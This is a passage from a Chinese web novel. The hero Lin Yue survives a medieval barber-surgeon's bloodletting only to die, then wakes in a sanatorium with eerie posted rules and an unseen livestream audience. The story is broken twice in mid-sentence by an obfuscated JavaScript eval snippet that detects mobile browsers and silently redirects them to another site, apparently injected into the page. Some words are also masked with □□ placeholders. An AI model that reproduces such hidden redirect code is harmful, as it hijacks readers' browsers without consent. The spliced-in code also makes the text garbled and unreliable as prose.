左边是理发区:一张高背椅,一面模糊的铜镜,架子上摆着剃刀、剪刀、梳子。右边是“医疗区”:另一张椅子,但这张椅子扶手上有皮质的束缚带,旁边的小推车上摆着各种金属工具——放血刀、拔罐器、烙铁(?)、还有一堆形状诡异的钳子和探针。 推车边缘搭着块布,布的颜色已经从白变成了一种说不清的灰黄色,上面沾着深色的污渍。林越盯着那块布看了两秒,决定今天无论如何不碰那张椅子。 “哦!客人!” 汉斯从里屋走出来,手里端着个木盆。他还是那身打扮:皮围裙,袖子挽到手肘,露出粗壮的前臂。脸上带着职业性的笑容,但笑容底下是种疲惫——眼袋很重,眼睛里有些血丝。 “是昨天的……”汉斯眯着眼睛辨认,“啊!那个手臂受伤的年轻人!怎么样,伤口好些了吗?” 林越举起左臂:“不太好。肿了,发热,有脓。” “让我看看。”汉斯放下木盆,在围裙上擦了擦手——围裙本身也不怎么干净。 林越犹豫了一秒,解开布条。伤口暴露在空气中,脓液的味道混进店里已有的复杂气味里。汉斯凑近观察,眉头皱起来。 “麻烦了,”他说,“感染加重了。这是坏血在体内积聚的征兆——□□失衡了。” 来了,又是四□□说。林越在心里叹了口气,但脸上保持平静:“所以该怎么治?” “放血。”汉斯说得理所当然,语气轻松得不像在讨论一个可能致命的手术,“必须把多余的坏血放出来,让□□恢复平衡。否则炎症会扩散,你会发烧,然后……”他没说完,但做了个割喉的手势。 林越看着汉斯手里那套工具:放血刀刀刃闪着冷光,刀柄上沾着暗红色的污垢。旁边的碗里还残留着些深色液体——大概是上次放血留下的,没洗干净。 他脑子里快速过了一遍已知信息: 已知一:放血疗法在中世纪被广泛接受,但从现代医学看,对感染患者放血等于加速死亡——失血导致免疫力下降,感染扩散更快。 已知二:汉斯是“专业人士”,在他的认知体系里,这是唯一正确的方法。 已知三:直接拒绝可能引发冲突,或者被强行治疗。 已知四:他只剩一次死亡机会。 结论:需要策略性拒绝。 “我……”林越开口,声音有点干,“我有晕血症。看见血会晕倒。” 汉斯愣了一下,显然没料到这个理由。他打量林越几眼:“晕血?那更要放血了!这是上帝在提醒你体内血液过剩,需要——” “还有家族遗传的血液稀薄症,”林越继续编,表情尽量诚恳,“我祖父,我父亲,都是因为放血过多去世的。医生说我们家族的人血量比正常人少三分之一。” 这个理由更具体,更“医学”。汉斯被唬住了,他摸着下巴思考:“血液稀薄……这倒是个问题。但如果坏血不排出来……” “有没有其他方法?”林越适时引导,“比如外敷药?或者口服的?” 汉斯摇头:“外敷药只能治表,治不了本。真正的治疗必须从内部调节□□平衡。”他停顿一下,眼睛亮起来,“不过……如果你实在怕放血,我可以先用拔罐法把坏血吸到皮肤表层,然后再用烙铁把毒血烙出来!” 林越看着推车上那个烙铁头——铁制的,尖端发黑,不知道烙过多少人的皮肤。他脑子里浮现出烧红的烙铁按在伤口上的画面,还有伴随而来的焦糊味和惨叫声。 “那个……”他后退半步,“我可能对高温金属过敏。” “过敏?”汉斯没听懂这个词。 “就是接触高温金属会全身起疹子,呼吸困难,可能会死。”林越解释得尽量可怕。 汉斯的表情从困惑变成同情:“可怜的孩子,这么多毛病。但你的感染必须治,不然……” “我先回去想想,”林越开始往门口挪,“考虑一下哪个方案风险更小。明天,明天再来。” “明天可能就晚了!”汉斯提高声音,“感染扩散到全身,放血都救不了你!” 林越已经退到门口:“我会尽快决定的。谢谢医生。” 然后他转身,几乎是跑着离开了理发店。 跑到下一个街角,林越才停下来,靠在墙上喘气。 左臂的伤口因为刚才的跑动开始抽痛,一阵一阵的,像有东西在里面搅。他低头看了眼手腕——红痕烫得更厉害了,热度比之前更强烈,明显是在回应刚才的危险接触。 “知道危险,”林越对着红痕说,“但总比真的被放血强。” 他缓了几口气,开始思考下一步。 汉斯的路基本堵死了。那个理发师兼医生脑子里只有“放血”和“烙铁”两个选项,而且坚信不疑。跟这种人讲现代医学理论?别开玩笑了,他只会觉得你在亵渎上帝制定的□□法则。 那剩下的选择只有玛格丽特婆婆了。 林越转向去往镇外的路。婆婆的木屋在灰石镇边缘,靠近树林,要走一段土路。路上他经过一片墓地——新挖的坟坑比昨天多了好几个,有些坑边还扔着没烧完的裹尸布。 瘟疫在蔓延。这个认知沉甸甸地压在胸口。 第一次死亡是因为食物中毒,第二次是因为鼠疫感染,第三次会不会因为医疗事故?如果真有“死亡方式收集成就”,他大概已经完成中世纪章节的三分之二了。 走到婆婆的木屋时,太阳已经升得老高。木屋门开着,能看见里面炉火的光。 林越在门口停了一下,整理表情,然后敲门。 “进来。”婆婆的声音从里面传来。 他走进去。屋里还是那股熟悉的草药味,但今天混进了更多苦涩的味道。婆婆坐在炉边的小凳子上,面前摆着个石臼,正在捣什么草药。她抬头看见林越,视线落在他左臂上。 “伤口恶化了?”她问,没等回答就放下石臼站起来,“过来我看看。” 林越走过去,坐下,伸出左臂。婆婆的动作比汉斯轻柔得多——她先用温水浸湿布条,慢慢揭开,避免撕扯伤口。看见伤口状况时,她皱起眉头。 “化脓了,”她说,“感染比昨天重。你昨晚发烧了吗?” “有点,但不确定是伤口引起的还是……”林越没说完,但婆婆懂了。 “瘟疫在扩散,空气里都是病气,”她低声说,转身去药柜取东西,“但你这个是伤口感染,不是瘟疫。治疗方向不一样。” 她取来几样草药:金盏花、薰衣草、还有林越认不出的某种绿叶植物。婆婆把它们混合捣碎,加了一点点蜂蜜调成糊状,然后敷在伤口上。草药糊接触皮肤的瞬间,有种清凉感,暂时压住了胀痛。 “这些草药能消炎,促进伤口愈合,”婆婆一边包扎一边说,“但效果有限。如果感染已经深入,外敷药可能救不了你。” 林越的心沉了一下:“那该怎么办?” 婆婆沉默了几秒,手上的动作没停。布条缠好,打结,然后她才开口:“如果是我年轻时候,会建议你找真正的医生——不是汉斯那种,是懂草药、懂人体、不迷信放血的医生。但现在……” 她摇摇头,没说完。但林越听懂了:现在这样的医生要么死了,要么逃了,要么被教会当成异端烧了。 “汉斯建议放血,”林越说,“说这是唯一方法。” 婆婆的手顿了一下。她抬头看林越,眼神复杂:“放血……有些人放了血就好了,更多人放了血就死了。我丈夫三十年前因为发烧被放血,放完第二天就没了。汉斯说我丈夫体内坏血太多,放血也救不了。但我知道不是那样。” 她的话很轻,但每个字都沉甸甸的。 林越看着她,这位老妇人脸上满是皱纹,眼睛里是几十年积累的疲惫和无奈。她知道放血危险,知道汉斯的疗法可能致命,但她无能为力——在这个时代,质疑“医生”就是质疑权威,质疑权威可能招来更可怕的后果。 “谢谢您,”林越说,声音有点哑,“至少您给了我一个选择。” 婆婆点点头,回到炉边继续捣草药。林越站起来,从口袋里掏出几枚铜币——这是他昨天帮人搬东西挣的。他放在桌上,婆婆没推辞,只是说了句“小心点”。 离开木屋时,阳光刺眼。林越站在门口,看着自己的影子投在土路上,短短一截。 手腕上的红痕还在发热。伤口敷了药,暂时清凉,但胀痛感已经开始从边缘渗透回来。他知道婆婆的草药治标不治本,知道汉斯的疗法是送死,知道感染在加重,时间在流逝。 知道一切,但不知道该怎么办。 这种知道却无能为力的感觉,比单纯的疼痛更折磨人。林越深吸一口气,转身往旅店走。 至少,他还有一晚上时间思考。 至少,他还活着。 旅店房间比谷仓好不了多少,但至少有张真正的床——如果一块硬木板加层薄草垫能算床的话。 林越躺上去,盯着天花板上的裂缝。左臂的伤口又开始疼了,草药的效果在减退。他抬手看手腕,红痕在昏暗的光线下泛着暗红色的光,热度持续不断,像皮肤下埋了块永远不凉的火炭。 “二十四小时客服热线,”林越对着红痕说,“可惜只能提醒问题,不能解决问题。” 他闭上眼睛,尝试用系统思维分析现状。 选项A:找汉斯放血。风险评估:高。成功概率:基于历史数据,感染患者放血存活率低于30%。失败后果:失血过多,免疫力下降,感染扩散,死亡。 选项B:用婆婆的草药。风险评估:中。成功概率:外敷草药对浅表感染有效,对深层感染效果有限。失败后果:感染继续恶化,引发败血症,死亡。 选项C:自我护理。风险评估:未知。方法:清洁伤口、保持休息、补充营养。成功概率:依赖感染程度和个人免疫力。失败后果:同B。 选项D:等待奇迹。风险评估:极高。成功概率:接近零。失败后果:死亡。 “四个选项,三个指向死亡,”林越睁开眼睛,“这选择题出得不太友好。” 他坐起身,从背包里翻出笔记本——那本用羊皮纸和粗糙线装订的本子,上面记录着他在这个世界的观察和总结。翻到医疗相关的那几页,上面是歪歪扭扭的字迹: 《医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220265|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疗补充条例》 所有医疗决策前,必须确认治疗者资质(御医>草药师>理发师医生)。 所有草药使用前,必须自行辨认或找可靠者辨认。 放血、催吐、泻药等激进疗法,一律拒绝。 小伤小病自行处理,重伤大病……做好死亡准备。 他看着第四条的最后几个字:“做好死亡准备”。 昨天写下这句话时,他还觉得这是“极端情况下的应急预案”。现在这成了“即将面对的现实”。伤口感染算小伤还是大病?从现代医学看,有抗生素的话是小伤;从中世纪医疗看,可能就是大病——足以要命的那种。 窗外传来钟声,急促而杂乱。不是整点报时,是丧钟。又有人死了,可能是瘟疫,可能是其他病,也可能……是医疗事故。 林越放下笔记本,走到窗边。灰石镇的街道在暮色中显得更灰暗了,几个行人匆匆走过,都用布蒙着脸。远处教堂门口聚集着一群人,中间是个盖着白布的担架。 他看着那场景,脑子里突然冒出个念头:如果他现在死了,也会有人把他抬到教堂门口吗?也会有人为他敲丧钟吗?然后他的身体会被埋进那片越来越拥挤的墓地,成为瘟疫统计数字里的一个“+1”。 手腕上的红痕烫了一下,把他从胡思乱想中拉回来。 “不想死,”林越对自己说,声音很轻但很坚定,“至少不能因为这种荒诞的原因死。” 他回到床边,开始实施选项C:自我护理。 先清洁。他从水壶里倒出一点水——是烧开过的,这是他进入中世纪世界后养成的少数好习惯之一。用相对干净的布蘸水,慢慢擦拭伤口周围。脓液已经又渗出来一些,混着血丝,味道不好闻。他尽量动作轻柔,但每次触碰还是疼得咬牙。 然后重新包扎。没有新的草药,就用干净的布条——也是他特意准备的,煮过晒干。布条缠上去时,他能感觉到伤口在发热,那种深层的、不祥的热。 做完这些,他已经出了一身冷汗。不是因为累,是因为疼,也因为那种“我在做正确的事但可能毫无用处”的无力感。 他躺回床上,闭上眼睛休息。但大脑停不下来,一直在循环播放今天的场景:汉斯那张自信的脸,婆婆无奈的眼神,放血刀上的污垢,烙铁的黑尖,墓地的坟坑,教堂的丧钟…… 还有手腕上持续不断的热度。 “如果这就是第三次死亡的前奏,”林越想,“那前奏也太长了点。” 他不知道自己什么时候睡着的。只记得最后意识里是红痕的热度,像永不熄灭的警告灯。 半夜,林越被高烧烧醒了。 不是慢慢升温,是突然的、剧烈的热,从体内爆发出来,瞬间席卷全身。他睁开眼睛,视野模糊,房间在旋转。伸手摸额头——烫得吓人。左臂的伤口更是像着了火,一跳一跳地疼。 他想坐起来,但身体不听使唤。尝试了三次,才勉强撑起上半身,靠在墙上喘气。 呼吸是热的,吸进去的空气在肺里都感觉烫。心跳快得异常,砰砰砰敲着胸口。他知道这是感染扩散的征兆——细菌进入血液,引发全身性炎症反应。在中世纪,这叫“血毒症”或“坏血症”,死亡率极高。 “选项B失败,”林越对自己说,声音沙哑,“草药压不住了。” 他看向手腕。红痕在黑暗中发着微光,不是视觉上的光,是某种……感知上的光。而且热度达到了新的高度,烫得皮肤发疼。这不是警告了,这是最后通牒。 “知道了,”他说,“时间到了。” 窗外还是黑的,离天亮还有几个小时。但他等不到天亮了。高烧在快速消耗体力,意识开始模糊。他能感觉到身体在失控,像台过热的机器,各个部件都在报警。 他躺回去,盯着天花板。现在只剩下两个选项:等死,或者赌一把。 等死很容易,什么都不用做,让高烧和感染完成工作。几小时或一天后,他就会成为教堂门口的另一个白布担架。 赌一把……赌什么?赌汉斯的放血疗法真的有用?赌那30%的存活概率?赌自己不是那70%? 林越闭上眼睛。脑海里浮现出汉斯那张脸,还有他说的话:“明天可能就晚了!感染扩散到全身,放血都救不了你!” 也许汉斯是对的。也许在这个医疗水平下,放血真的是唯一的选择。也许那些活下来的人不是运气好,而是这种方法……真的对某些人有效。 也许。 他睁开眼,挣扎着坐起来。动作很慢,每个关节都在抗议。高烧让思维变得黏稠,但有个念头越来越清晰:他不想死,至少不想这么死。不想因为一个小伤口感染,死在无人知晓的旅店房间里。 “就算要死,”林越对自己说,“也得死得明白点。” 他下床,腿软得差点跪倒。扶着墙站稳,一步一步挪到门口。开门,走廊里漆黑一片。他扶着墙往前走,楼梯在走廊尽头。 下楼时差点摔下去,好在抓住了栏杆。旅店大堂空无一人,守夜人不知道去哪了。门没锁,他推开门,走进灰石镇的夜晚。 街道上空荡荡的,月光把石板路照得惨白。风很冷,吹在高烧的身体上,反而有种诡异的舒适感。林越扶着墙往前走,左臂垂在身侧,已经疼到麻木。 他要去汉斯的诊所。这是他现在唯一能想到的路。 路上经过教堂,门口的白布担架还在,但没人看守。经过那片墓地,新坟在月光下像一个个土包。经过玛格丽特婆婆的木屋,窗户黑着,婆婆应该睡了。 最后到达汉斯的店。门关着,但里面有光——汉斯还没睡。 林越抬手敲门。手在抖,敲得很轻,但在寂静的夜里还是很响。 几秒后,门开了。汉斯举着蜡烛站在门口,看见是林越,表情从困惑变成惊讶再变成“我就知道”。 “你来了,”汉斯说,侧身让开,“进来吧。我就说你撑不到明天。” 林越走进去,烛光在眼里跳动。汉斯关上门,扶他在医疗椅上坐下。椅子很硬,皮革冰冷。 “高烧了?”汉斯伸手摸林越额头,“嗯,很烫。感染扩散了。现在放血风险更大,但……还有机会。” 林越看着他准备工具:放血刀在烛光下反光,碗放在旁边,布条准备好。汉斯的动作很熟练,像做过无数次。 “会疼吗?”林越问,声音哑得自己都认不出来。 “一下就好,”汉斯说,“然后你会觉得轻松些。” 林越看着手腕上的红痕。它还在发光,还在发热,但热度似乎……在减弱?还是他的感知已经混乱了? 汉斯绑住他的上臂,找到血管,酒精擦拭——酒精刺鼻的味道冲进鼻腔。放血刀举起来,刀尖对准皮肤。 “放松,”汉斯说,“很快就结束了。” 林越闭上眼睛。 最后的念头是:这大概就是第三次死亡了。 刀尖刺入皮肤。 疼,但比想象中轻。然后是温热的液体流出来,滴进碗里。滴答,滴答,滴答…… 意识开始模糊。 手腕上的红痕,最后闪了一下。 然后彻底暗了。 39.放血疗法 刀尖刺入皮肤的那一刻,疼,但比想象中轻。 林越脑子里闪过一个不合时宜的念头:这疼感评级大概在“被A4纸划伤手指”和“打针扎进静脉”之间。然后是温热的液体流出来,滴进汉斯准备好的碗里。 滴答。 滴答。 滴答。 节奏很稳,像老式挂钟在走。汉斯的手很稳,刀口位置精准,血管切开后血液流出的速度控制得恰到好处——从专业角度看,这确实是二十年经验积累的技术。 “感觉怎么样?”汉斯的声音从遥远的地方传来,“头晕是正常的,血液流出会带走多余的‘热质’,平衡你的□□。” 林越想点头,但脖子动不了。高烧让身体像被灌了铅,每个关节都沉重得抬不起来。他只能盯着天花板的横梁,木纹在烛光里扭曲成奇怪的图案。 血液流出的声音在寂静的诊所里格外清晰。 滴答。 滴答。 滴答。 时间感变得很奇怪。每一秒都拉得很长,长到能数清每次心跳;但又好像过得很快,快到意识抓不住任何具体的念头。 “失血速度控制在每分钟三十滴左右,”汉斯还在讲解,语气里带着职业自豪,“太快会引发休克,太慢效果不好。这个节奏是我父亲传下来的,他治好了镇上……” 后面的话听不清了。 林越的注意力被手腕上的热度吸引。最后一道红痕还在发烫,但热度正在减弱,像电池耗尽前最后几次闪烁。他能感觉到生命力随着血液一起流失——不是抽象的概念,是真实的、具体的流失。 身体在变冷。 不是温度计测量的那种冷,是从骨髓深处渗出来的寒意。像冬天把手伸进冰水里,先是刺痛,然后是麻木,最后连痛感都消失,只剩下空洞的冷。 呼吸变得困难。 每一次吸气都像在吸棉花,空气进不到肺里。他想调整呼吸节奏,但大脑发不出指令。身体各个系统在陆续关机:先是四肢,然后是呼吸肌,最后大概是心脏。 “系统资源耗尽,”林越脑子里跳出程序员思维,“强制关机程序启动。” 这比喻挺贴切。身体就像一台过载的服务器,CPU占用率100%,内存溢出,硬盘读写速度归零。现在管理员(他自己)按下了关机键,系统开始执行关闭流程。 先是外围设备:手指、脚趾失去知觉。 然后是核心进程:心跳变得不规则,呼吸变浅。 最后是操作系统本身:意识开始碎片化。 汉斯还在说话,但声音越来越远,像隔着厚玻璃。 “……通常放四盎司就够了,但你感染严重,可能要多放一些……” 林越听不清具体内容,只能捕捉到零碎的词:平衡、热质、治愈、明天。 明天。 明天他会在哪? 手腕上的红痕最后闪了一下,像坏掉的指示灯在断电前的最后挣扎。然后彻底暗了。 不是变淡,不是消失,是“暗了”——就像屏幕突然断电,从亮到暗只在瞬间。 红痕消失的瞬间,林越脑子里闪过一些碎片: 第一次死亡,食物中毒。躺在破庙地上,肚子疼得像被绞肉机搅过。死前最后的念头是:“以后吃东西前得先问问有没有营业执照……” 第二次死亡,鼠疫感染。在废弃柴房里等死,高烧让世界变成扭曲的色块。死前想的是:“跳蚤这玩意儿,比甲方还难缠……” 现在是第三次。 放血疗法。用bug修复bug的典范。 “死亡报告草稿,”林越在意识最后一线想,“死因:过度信任‘专家建议’。建议:下次遇到推荐放血的,跑,别回头。就算对方拿出二十年经验数据,也跑。” 然后连这个念头也碎了。 意识像被打散的拼图,碎片在空中悬浮,然后被吸进某个黑洞。 没有黑暗。 没有虚无。 没有“死后世界”的经典描写。 只有切换。 像视频剪辑里的硬切,前一帧还是中世纪诊所的烛光,下一帧—— —— 白色天花板。 日光灯管发出轻微的嗡嗡声。 空气里有消毒水的味道。 林越睁开眼睛。 花了三秒钟确认自己还活着——或者说,以某种形式存在着。又花了五秒钟确认这不是中世纪诊所。 天花板是现代的石膏板,日光灯管是标准的T8规格,消毒水味道浓得呛鼻。身下是硬邦邦的病床,身上盖着白色被单。 他躺在一间病房里。 单人间,窗户拉着米色窗帘,床头柜上放着水杯和……一张纸? 林越慢慢坐起来。身体没有疼痛,没有高烧,没有伤口感染。一切都消失了,像被重置到出厂设置。只有大脑还留着刚才的记忆:汉斯的放血刀,滴答的血液声,红痕最后闪烁。 他低头看手腕。 干干净净,什么都没有。三道红痕全部消失,连痕迹都没留下。 “所以,”林越开口,声音有点哑,“这就是红痕用尽后的‘惩罚’?” 他环顾病房。房间不大,十平米左右,陈设简单:病床、床头柜、一把椅子、一个衣柜。墙壁刷成淡绿色,地面是浅色瓷砖。窗户关着,窗帘拉得严实,看不到外面。 床头柜上那张纸吸引了他的注意。 林越伸手拿过来。是A4打印纸,上面用标准宋体打印着几行字: 《“安静”的疗养院》入住须知 欢迎入住303号病房。为确保您的疗养效果,请务必遵守以下规则: 1. 疗养院作息时间为6:00-22:00,请在此期间保持安静。 2. 医护人员穿白色制服。如果看到穿蓝色制服的人,请不要与他们对视,立即返回病房锁门。 3. 每日三餐会按时送达。如果餐盘里出现红色食物,请勿食用,原封不动放回门口。 4. 夜间如果听到哭声,请用枕头捂住耳朵,直到哭声停止。 5. 每日下午3:00-4:00为查房时间,请配合医护人员的检查。 6. 疗养院内禁止奔跑、喧哗、私自交换物品。 7. 第七天会有最终评估,通过评估即可出院。 纸张最下方还有一行小字: 祝您疗养愉快。 林越盯着这张纸看了足足一分钟。 规则怪谈。 他脑子里跳出这个词。穿越前看过的小说、玩过的游戏、刷过的短视频,所有关于“规则怪谈”的记忆碎片瞬间涌上来。通常流程是:进入某个诡异场所,获得一堆自相矛盾的规则,然后在遵守规则的过程中发现真相,或者死掉。 “三命通关失败,”林越把纸放回床头柜,靠在枕头上,“强制进入新关卡——这游戏难度曲线不太合理。” 话虽这么说,他心里反而松了口气。 至少这里有规则。明确的、写下来的规则。比中世纪那种“专家建议”要清晰得多,也比“四□□说”这种伪科学理论要逻辑得多。 规则意味着可解析性。 而解析规则,是程序员的强项。 林越重新拿起那张纸,开始逐条分析: 第一条:作息时间。6:00-22:00保持安静。安静的定义是什么?说话算不算安静?走路呢?呼吸呢? 第二条:医护人员白色制服,蓝色制服要回避。所以存在两种“工作人员”,其中一种有危险。 第三条:红色食物不能吃。为什么是红色?象征意义?还是实际有毒? 第四条:夜间哭声。用枕头捂耳朵——意思是不能去查看,也不能回应。 第五条:查房时间固定。这可能是获取信息的机会。 第六条:禁止行为。很常规,但“私自交换物品”这条有点奇怪。 第七条:第七天最终评估。所以这是生存七天制副本。 林越把纸翻过来,背面是空白的。 他又检查了床头柜抽屉,空的。衣柜里挂着两套病号服,也是标准款式。房间没有电视,没有电话,没有时钟。 只有日光灯管的嗡嗡声,和消毒水的味道。 他下床走到窗边,轻轻拉开窗帘一角。 外面是灰蒙蒙的天空,看不到太阳,也看不到云层具体的形状。疗养院院子里有草坪,修剪得很整齐,但没有人。远处能看到其他楼栋,也都是同样的淡绿色外墙。 整个环境透着一股……刻意的平静。 太安静了,安静得不自然。没有鸟叫,没有风声,连远处应有的城市噪音都没有。就像被罩在玻璃罩里的模型。 林越放下窗帘,回到床边坐下。 手腕上红痕消失的地方,皮肤光滑如初,连一点痕迹都没留下。但他能感觉到某种变化——不是生理上的,是认知上的。 三次死亡,三道红痕,用尽了。 现在他在这里,“安静”的疗养院,规则怪谈世界。 “至少比放血疗法强,”林越自言自语,“至少这里的规则是写下来的,不是靠‘二十年经验’瞎猜。” 话音刚落,房间里的光线突然暗了一下。 不是灯泡闪烁,是整个环境的光线变暗,像有人调低了世界的亮度。持续了大概两秒,然后又恢复正常。 同时,林越听到了一种声音—— 不是从门外传来的,也不是从窗外。 是从……脑子里? 机械的、不带感情的女声,用标准的播音腔说道: 【观众连接中……】 【连接成功】 【当前在线观众:1,243人】 【欢迎来到《“安静”的疗养院》副本直播】 【您的当前任务:存活七天】 【祝您游戏愉快】 声音消失。 林越坐在床上,一动不动。 过了五秒,他开口: “……直播?” 他等了一会儿,看会不会有更多声音。没有。脑子里一片寂静,就像刚才的机械女声从未出现过。 “所以不只是规则怪谈,”林越总结,“还是直播副本。有观众,有在线人数,有任务提示。这配置比中世纪齐全多了。” 他尝试在脑子里想:“观众能听到我说话吗?” 没有回应。 “能发弹幕吗?” 还是没回应。 “打赏功能怎么用?” 一片安静。 林越放弃了。看来这个“观众系统”是单向的,他只能接收基础信息,不能互动。至少现在不能。 他把注意力转回现实。现在是……什么时候? 房间里没有钟,窗外看不到太阳,无法判断具体时间。但根据规则第一条,作息时间是6:00-22:00。如果他刚进来时是“开始时间”,那现在应该是白天。 林越决定做第一次试探:打开房门。 他走到门边,握住门把手。金属把手冰凉,转动顺畅。门没锁。 他拉开一条缝,先往外看。 走廊很长,两边都是同样的淡绿色墙壁和浅色瓷砖地面。天花板每隔一段距离就有一盏日光灯,全都亮着,发出均匀的白光。走廊两边排列着门,门牌号从301开始,顺序排列。 他所在的303号病房在走廊中间位置。 走廊里没有人。安静得能听到日光灯的嗡嗡声。 林越把门开大一些,侧身走出去。脚踩在地砖上发出轻微的摩擦声,在寂静的走廊里显得格外清晰。 他回头看了眼门牌:303。门上有个小窗口,玻璃是磨砂的,看不清里面。门把手下面有个钥匙孔,但他没有钥匙。 “所以门可以从里面打开,但不能从外面锁?”林越试了试,确实,门内侧有简单的旋钮锁,门外侧需要钥匙。 他关上门,但没有锁。万一需要快速撤回,锁门会耽误时间。 现在,探索走廊。 林越先往左走。301、302……都是紧闭的门。他试着推了推301的门,锁着的。302也是锁着的。 走到走廊尽头,是一扇双开的大门,门上挂着牌子:活动室。 门是玻璃的,能看到里面。房间很大,摆着几张桌子椅子,墙上挂着电视(黑屏),角落里有一台饮水机。房间里空无一人。 林越推了推门,没锁。他走进去。 活动室比病房宽敞得多,至少有五十平米。除了桌椅和电视,靠墙还有一排书架,上面摆着些旧杂志和书籍。窗户很大,能看到院子里的草坪。 林越走到书架前扫了一眼。杂志都是过期的,最晚的是三年前的。书籍种类很杂:养生保健、小说、旅游指南、菜谱。他抽出一本小说,翻了两页,又放回去。 “所以这里确实有人生活过,”林越想,“或者说,扮演过‘患者’的角色。” 他走到窗边往外看。院子里的草坪修剪得太整齐了,整齐得不自然。没有一片叶子超出范围,没有一根杂草。就像用PS处理过的图片。 远处能看到疗养院的大门,铁门紧闭。门卫室空着。 整个场景透着一股……样板间的味道。一切都是标准的、规范的、但缺乏生活痕迹。 林越在活动室里转了一圈,没发现什么特别的东西。正准备离开时,他听到走廊里传来脚步声。 很轻,但确实有。从右边传来的。 他走到活动室门口,探头往外看。 走廊那头,有个人影正在走过来。 是个男人,大概四十多岁,穿着病号服,走路姿势有点僵硬。他低着头,嘴里念念有词,像是在数数。 林越站在原地,等对方走近。 男人走到活动室门口时,突然抬头看了林越一眼。眼神很空,像没睡醒。然后他又低下头,继续往前走,嘴里继续数:“……一百二十七、一百二十八……” 林越看着他走过,没出声。 男人走到305号病房门口,推门进去,关上门。 整个过程自然得像日常流程。 林越等了几秒,确定走廊里再没其他人,才走回303。他脑子里复盘刚才的观察: 第一,有其他“患者”。至少有一个。 第二,患者状态不太正常。机械化的行为,空洞的眼神。 第三,患者能自由活动,没有被限制在房间里。 这给了林越一些信息,但也带来了更多问题:其他患者是NPC,还是和他一样的“玩家”?如果是玩家,为什么行为这么奇怪?如果是NPC,他们的作用是什么? 回到303房间,林越关上门,靠在门后思考。 就在这时,他听到了一种声音。 从隔壁304房间传来的。 很轻的、压抑的哭声。 女人的哭声。 林越立刻想起规则第四条:夜间如果听到哭声,请用枕头捂住耳朵,直到哭声停止。 但现在不是夜间——至少窗外还有光线,走廊灯也亮着。而且规则没说白天听到哭声怎么办。 哭声持续着,断断续续,像是有人捂着脸在哭。 林越犹豫了几秒,决定暂时按兵不动。规则怪谈的经典套路:贸然行动往往触发死亡flag。他需要更多信息。 他走到墙边,把耳朵贴上去听。 哭声更清晰了。确实是从304传来的,是个年轻女人的声音,哭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223621|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很伤心,但又不敢大声,只能压抑着抽泣。 同时,林越脑子里又响起了机械女声: 【当前在线观众:1,247人】 【弹幕:隔壁在哭诶】 【弹幕:新人不去看看?】 【弹幕:规则四说了晚上不能理,现在是白天】 【弹幕:白天哭了咋办?规则没写】 声音只持续了五秒左右,然后消失。 林越愣了愣。 弹幕?观众发的弹幕?他能看到? 他尝试在脑子里“调出”弹幕界面,但没反应。看来这个观众系统是随机推送的,不能主动控制。 不过刚才的信息很有用:观众知道规则,而且观众认为现在是“白天”。这说明林越的判断正确,作息时间内的确是白天。 另外,观众提到了关键点:规则四只说了“夜间”听到哭声的处理方法,没提白天。这是规则漏洞,还是故意的陷阱? 哭声还在继续。 林越决定做第二次试探。他轻轻敲了敲墙壁。 三下,间隔均匀。 哭声突然停了。 几秒后,墙壁被敲了三下作为回应。同样的节奏。 林越又敲了两下。 对面回应了两下。 简单的信号确认:对方能听到,有意识,能回应。 林越走到门边,犹豫要不要去304看看。但规则第六条禁止“私自交换物品”,去隔壁房间算不算“私自交换”?规则没明确说。 而且,万一对方不是“患者”呢?万一是陷阱呢? 就在他犹豫时,走廊里传来了另一种声音。 脚步声。 但不是刚才那个数数男人的脚步声。这脚步声更重,更规律,还伴随着……轮子滚动的声音? 林越从门上的小窗往外看。 走廊那头,走过来两个人。 都穿着白色制服——医护人员。一个推着餐车,另一个拿着记录板。餐车上摆着餐盘,用保鲜膜盖着。 查房时间?不对,规则第五条说查房时间是下午3:00-4:00。现在不知道具体时间,但应该不是。 两个医护人员走到301门口,停下。拿记录板的那个敲门,等了几秒,推门进去。推餐车的等在门口。 一分钟后,医护人员出来,走向302。 重复流程。 林越看了看自己房间。303,马上就到。 他快速回到床边坐下,摆出“标准患者”姿态:靠在床头,表情平静,眼神放空——模仿刚才那个数数男人。 几秒后,敲门声响起。 “303,送餐。”门外传来女声,很平淡,没有感情。 林越没说话。 门被推开。两个医护人员走进来。 推餐车的那个是女性,三十多岁,面无表情。拿记录板的是男性,同样面无表情。两人都穿着标准的白色医护制服,胸口别着工牌,但距离太远看不清名字。 女护士把餐车推到床边,拿起一个餐盘放在床头柜上。保鲜膜下面能看到食物:米饭、青菜、一点肉,还有一碗汤。 颜色正常,没有红色食物。 男护士在记录板上写了什么,然后看向林越:“姓名?” 林越顿了顿,报出真名:“林越。” “入院时间?” “……今天。” 男护士又写了几笔,然后说:“规则看了吗?” “看了。” “遵守规则,好好疗养。”机械化的台词,“有问题按呼叫铃。” 林越看了眼床头,确实有个红色按钮,之前没注意到。 “现在是几点?”他问。 男护士看了眼手表:“上午十一点二十。午餐时间十二点,这是提前送来的。吃完了把餐盘放门口,会有人收。” 说完,两人转身离开,推着餐车去304。 门关上。 林越看着床头柜上的餐盘,又看看门,再看看墙壁。 隔壁的哭声已经停了。 